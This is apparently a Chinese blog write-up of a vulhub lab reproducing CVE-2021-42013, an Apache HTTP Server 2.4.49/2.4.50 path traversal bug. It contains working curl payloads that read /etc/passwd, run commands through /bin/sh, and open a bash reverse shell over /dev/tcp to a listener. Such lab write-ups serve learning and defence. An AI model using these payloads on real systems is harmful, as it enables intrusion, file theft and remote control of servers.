Apache HTTP Server路径穿越漏洞复现CVE-2021-42013

前置知识

首先是环境配置,cd到CVE-2021-42013目录下(有yml配置文件的目录),找不到可以使用find命令在vulhub靶场目录中查找,然后执行构建命令,然后docker ps看一下

find ./ -name *CVE-2021*
docker-compose up -d
docker ps

这是目前唯一一个看漏洞名字就知道什么意思了的漏洞🤣在其2.4.49版本中，引入了一个路径穿越漏洞,这个漏洞有两种利用方式,在严格情况下可以实现任意文件读取(一般web服务器也不是拿root运行的,就只能读非root文件了),如果开启了cgi或cgid,可以实现rce
在 Apache HTTP Server 中，CGI（Common Gateway Interface）和 CGID（CGI Daemon）是用于处理动态内容的机制。它们允许 Web 服务器与外部程序（通常是脚本或可执行文件）进行交互，生成动态的 Web 页面内容。CGI 机制允许将用户的请求传递给一个外部脚本或程序，然后将该程序的输出作为响应返回给客户端。
要使用 CGI 或 CGID，你需要编写一个符合 CGI 协议的程序或脚本，该程序会接收请求参数，处理请求并生成响应。然后，你需要在 Apache HTTP Server 的配置中启用 CGI 或 CGID 模块，并将请求映射到你编写的 CGI 程序或脚本。
在 Apache 的配置文件中，使用类似以下的配置来启用 CGI 模块并将请求映射到某个目录下的 CGI 脚本：

apacheCopy codeLoadModule cgi_module modules/mod_cgi.so

<Directory "/path/to/cgi/scripts">
    Options +ExecCGI
    AddHandler cgi-script .cgi .pl
</Directory>

在这个示例中，LoadModule行启用了 CGI 模块，\ 部分指定了 CGI 脚本所在的目录，并通过 Options +ExecCGI和AddHandler 配置来告诉 Apache 如何处理 CGI 脚本。
然后，你可以在指定的目录下编写 CGI 脚本（如 Perl、Python 等脚本），当客户端请求访问这些脚本时，Apache 会将请求传递给相应的 CGI 程序，然后将生成的响应返回给客户端。
这个漏洞的利用条件是版本等于2.4.49,如果需要打rce,则需要穿越的目录允许被访问，比如配置了\Require all granted\（默认情况下是不允许的）

在Apache HTTP Server（通常称为Apache）的配置中，Require all granted 是一个用于控制访问权限的配置指令。它用
于声明对特定资源或路径的访问是允许的，即所有请求都被授予访问权限。

具体来说，Require all granted 是在Apache的访问控制配置块（例如 <Directory> 或 <Location> 块）中使用的，用
于指定所有用户都被授予对该目录或位置的访问权限。这意味着任何用户都可以访问这个目录或位置的内容，而不受进一步的
访问控制限制。

后来Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞CVE-2021-41773进行了修复，但这个修复是不完整的，CVE-2021-42013是对修复补丁的绕过。
攻击者仍然可以利用这个漏洞，可以读取位于Apache服务器Web目录以外的其他文件，或者读取Web目录中的脚本文件源码，或者在开启了cgi或cgid的服务器上执行任意命令。
这个漏洞相当于是上一篇CVE-2021-41773没修复好造成的🤣和上一篇基本一样,就不介绍了
这个漏洞的利用条件是Apache HTTP Server 2.4.49以及2.4.50两个版本。

漏洞复现

首先得访问一下服务,docker可以看到是开在8080端口的,访问一下

竟然可以访问了,但是这个环境和上一个相比也就版本加了一点,我怀疑是复现前几个apache的漏洞的时候没有删镜像,然后那几个httpd镜像的名字是一样的只是版本不同,然后vul构建容器的时候把apache的镜像搞错了,导致环境出现问题🤔
我们可以先试试CVE-2021-41773的poc,直接../加url编码进行跨越

curl -v --path-as-is http://192.168.136.130:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

没有成功,说明漏洞已经被修复了,但是又没有完全修复,因为对%2e再url编码一次(%%32%65)还是可以过

curl -v --path-as-is http://192.168.136.130:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

除了实现任意文件读取,还可以打rce,还是用CVE-2021-41773的poc试一下

curl -v --data "echo;id" 'http://192.168.1.103:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

没成功,说明修复成功了测试一下新的poc,再编码一次就行了.这里用whoami看看用户

curl -v --data "echo;需要执行的命令" 'http://192.168.1.103:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65
/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

curl -v --data "echo;whoami" 'http://192.168.1.103:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

daemon 是在操作系统中指代后台服务进程的术语。daemon 用户是专门用于运行这些后台服务的特殊用户账户。

在 Unix/Linux 系统中，daemon 用户通常拥有较低的权限，并且没有登录权限。它们被设计为以系统级别运行，独立于任何
特定用户会话或交互。daemon 用户的存在可以增加系统的安全性和稳定性，因为它们不会与用户交互或受到用户的直接影响。

后台服务（daemon）通常是系统启动时自动启动并在后台运行的程序。它们可以执行各种任务，如网络服务（例如 Web 服务
器、数据库服务器）、文件传输、日志记录、定时任务等。通过以 daemon 用户的身份运行，这些服务可以在系统上以较低的
特权级别运行，从而减少了潜在的安全风险。

值得注意的是，daemon 用户不是一个固定的、通用的用户账户，而是在不同的操作系统和环境中可能具有不同的命名和配置。
在某些情况下，daemon 用户可能被命名为 nobody、www-data 等，具体取决于操作系统的设置和管理员的偏好。

漏洞算是复现完了,不过有rce可以试试弹shell

nc -lvnp 8888

curl -v --data "echo;bash -i >& /dev/tcp/192.168.1.103/8888 0>&1" 'http://192.168.1.103:8080/cgi-
bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

没有成功,但是按照网上的说法应该要先写入本地文件,再sh执行,不知道为啥.先将shell写到/tmp/shell.sh

curl -v --data "echo;echo 'bash -i >& /dev/tcp/192.168.1.103/8888 0>&1'>> /tmp/shell.sh" 
'http://192.168.1.103:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65
/.%%32%65/.%%32%65/bin/sh'

然后读一下这个文件看有没有写进去

curl -v --data "echo;cat /tmp/shell.sh" 'http://192.168.1.103:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65
/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

最后sh执行脚本,连接成功

curl -v --data "echo;bash /tmp/shell.sh" 'http://192.168.1.103:8080/cgi-
bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

说不定前几个没有成功的反弹shell也要这么做,以后反弹shell都试试写文件